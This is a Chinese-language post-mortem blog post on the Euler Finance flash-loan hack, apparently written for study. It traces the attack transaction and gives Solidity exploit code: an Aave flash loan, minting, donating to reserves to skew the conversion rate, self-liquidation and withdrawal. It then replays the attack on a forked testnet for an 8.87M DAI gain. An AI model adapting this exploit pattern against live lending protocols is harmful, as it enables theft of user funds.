Euler Finance 闪电贷漏洞分析及复现

消息来源:

X 上的 PeckShield Inc.:“1/ @eulerfinance was exploited in a flurry of txs on Ethereum (one hack tx: https://t.co/L7ddZhHNq5), leading to the lost of ~$197m from the project.” / X (twitter.com)

被攻击者:Euler Labs🛢️🇬🇧 (@eulerfinance) / X (twitter.com)

攻击地址:

tx:0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d

https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d

合约代码:

Euler: Token | Address 0x27182842E098f60e3D576794A5bFFb0777E025d3 | Etherscan

ABI:

api.etherscan.io/api?module=contract&action=getabi&address=0x27182842E098f60e3D576794A5bFFb0777E025d3&format=raw

链上数据分析:

0xc310a0affe2169d1f6 | Phalcon Explorer

0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d

更加详细:

eth-0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d | MetaSleuth

Transaction Tracer (openchain.xyz)

Address Change In Value
0xA0b3ee897f233F385E5D61086c32685257d4f12b 277,068,339.8872 U
0xeBC29199C817Dc47BA12E3F86102564D640CBf99 8,779,854.7674 USD
[Aave: aDAI Token V2] 26,703.0000 USD
0x464C71f6c2F760DdA6093dCB91C24c39e5d6e18c 0.0366 USD
0x583c21631c48D442B5C0E605d624f54A0B366c72 0.0000 USD
[Euler] -8,806,557.7674 USD
0x0000000000000000000000000000000000000000 -277,068,339.9238 USD

捐赠导致转换率不正确

image-20231112173240818

Tracer有点卡 经常出现程序错误……

利用tenderly去分析

0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d | Tenderly

主要是清算逻辑不正确

image-20231112173905696

根据Ethereum Transaction Hash (Txhash) Details | Etherscan 中ERC-20 Tokens Transferred :all Transfers来看

黑客的主要攻击过程:

1
2
3
4
5
6
7
8
9
10
1.通过AaveV2的闪电贷借贷3000万DAI
2.创建两个帐户0x583c作为借款人,0xa0b3作为清算人
3.向借款人转账3000万DAI
4.借款人存款2000万DAI,铸币1.95亿DAI/ 2亿DAI。
5.借款人偿还10M DAI, dDAI余额减少10M。
6.借款人再次发行1.95M eDAI/ 200M dDAI
7.借款人捐赠100M eDAI以使头寸可变现并扭曲转化率
8.清算人清算借款人,获得310M eDAI
9.从eDAI撤回38.9M DAI。
10.偿还闪贷,盈利880万

0x583c : Euler Pool: Dai Stablecoin (eDAI) Token Tracker | Etherscan

黑客的主要攻击路径

image-20231112174618122

(图片来自PeckShield) 当然自己也可以根据eth-0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d | MetaSleuth分析

漏洞复现:

黑客闪电贷exp:Tutorials/EulerHack.sol at main · BuildBearLabs/Tutorials (github.com)

黑客exp分析

1.通过Aave的闪电贷借入3000万DAI。这可以通过使用以下合约来完成,其中 excuteHack 用于请求闪电贷,excuteOperation 由 Aave 的闪电贷合约调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract Main {
DAI dai=DAI(0x6B175474E89094C44Da98b954EedeAC495271d0F); //DAI合约
Euler euler=Euler(0x27182842E098f60e3D576794A5bFFb0777E025d3); //Euler合约
AAVE aave=AAVE(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); //AAVE合约
address owner;
address[] tokens;
uint256[] nums1;
uint256[] nums2;
function excuteHack() public{
tokens.push(address(dai));
nums1.push(30000000000000000000000000);
nums2.push(0);
aave.flashLoan(address(this),tokens,nums1,nums2,address(this),hex"",0);
}
constructor(){
owner =msg.sender;
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool){
dai.approve(address(aave),type(uint256).max);
return true;
}

2.部署了一个智能合约,并向其转移了 2000 万个 DAI。在 executeOperation 函数中添加此操作

1
2
3
4
5
6
7
8
9
10
11
12
13
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool){
LendContract lendcontract=new LendContract(address(this));
dai.approve(address(aave),type(uint256).max);
dai.transfer(address(lendcontract),nums1[0]);
lendcontract.exp();
return true;
}

3.使用智能合约存入 2000 万 DAI,铸造 1.95 亿 eDAI / 2 亿 dDAI。借款人在偿还1000万DAI后,铸造了1.95亿eDAI/2亿dDAI,并捐赠了1亿eDAI,使头寸可变现并改变了兑换率,还在功能中加入了变现智能合约部署脚本。

1
2
3
4
5
6
7
8
9
10
11
function exp() public{
liquidationContract liquidation_C=new liquidationContract(address(this),mainContractAddress);
dai.balanceOf(address(this));
dai.approve(address(euler),type(uint256).max);
edai.deposit(0,20000000000000000000000000);
edai.mint(0,200000000000000000000000000);
ddai.repay(0,10000000000000000000000000);
edai.mint(0,200000000000000000000000000);
edai.donateToReserves(0,100000000000000000000000000);
liquidation_C.exp();
}

4.然后调用清算功能,启动清算过程,获得 3.1 亿 dDAI 和 2.5 亿 eDAI。最后,攻击者调用了提现功能,获得了3890万DAI,用于偿还通过闪电贷借入的3000万DAI。他们获利887万。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function exp() public{
PROXY.LiquidationOpportunity memory s=PROXY.LiquidationOpportunity({
repay:0,
yield:0,
healthScore:0,
baseDiscount:0,
discount:0,
conversionRate:0
});
s=proxy.checkLiquidation(address(this),lendcontractAddress,address(dai),address(dai));
proxy.liquidate(lendcontractAddress,address(dai),address(dai),s.repay,250000000000000000000000000);
edai.withdraw(0,38900000000000000000000000);
dai.transfer(address(MainAddress),38900000000000000000000000);
}

攻击过程复现

分叉主网模拟

可以在本地模拟测试:Fork 🍴 the Fing Ethereum Blockchain! Transfer tokens from Vitalik’s Account ;) | by Pari Tomar | BuildBear Labs | Medium — 分叉 🍴 Fing 以太坊区块链!从 Vitalik 的账户转移代币;) |由 Pari Tomar |BuildBear 实验室 |中等

本次通过BuildBeer来进行

我们可以通过Home - BuildBear 来创建一个从 16817993 分叉以太坊来创建一个私有测试网

image-20231112182039302

然后通过水龙头获取BB 比如我的水龙头Faucet - BuildBear 我用1w个BB

部署攻击合约并执行

代码:https://github.com/BuildBearLabs/Tutorials/blob/main/EulerHack.sol

在Remix编译并且部署

我的ABI为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "excuteHack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "assets",
"type": "address[]"
},
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
},
{
"internalType": "uint256[]",
"name": "premiums",
"type": "uint256[]"
},
{
"internalType": "address",
"name": "initiator",
"type": "address"
},
{
"internalType": "bytes",
"name": "params",
"type": "bytes"
}
],
"name": "executeOperation",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "getdai",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]

我的Deployed contract为:0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9

https://explorer.buildbear.io/raspy-sebulba-83393420/address/0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9

并在Contract中粘贴保存ABI

image-20231112184250681

去写入excuteHack 函数以执行 hack (需要一定时间)

完成

https://explorer.buildbear.io/raspy-sebulba-83393420/tx/0xb2265424ab09523af2ea083af6479b954ddcbd61311f1221770f9082b9b3ea9d

image-20231112184516764

最后调用 getdai()函数并将合约中剩余的 DAI 转移到我们的地址

https://explorer.buildbear.io/raspy-sebulba-83393420/tx/0x7133db82d0215a7a14cde775d5b5268c65de0c1de58dc6a86ac5c21194b1503f

image-20231112184614457
1
2
3
4
5
6
7
Token Transfered:
From:
0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9
To:
0x0Be90bEEE4D5DCD0F21320E68335c20b06ADBcFa
Amount:
8873000.0 DAI

我们可以看到我们获得了880 万 DAI

DAI合约地址:0x6B175474E89094C44Da98b954EedeAC495271d0F

image-20231112184821465

整个过程分析模拟完毕。

参考:

X 上的 PeckShield Inc.:“4/ Two hackers were involved in the attack: 0x5F2…8B8c and 0xBcA…7c5C. And here comes the flow of stolen funds https://t.co/6jTBlfSNgJ” / X (twitter.com)

Euler Finance’s 196 Million Flash Loan Exploit | Learn how to re-do the hack (buildbear.io)

Euler Finance hacked for over $195M in a flash loan attack (cointelegraph.com)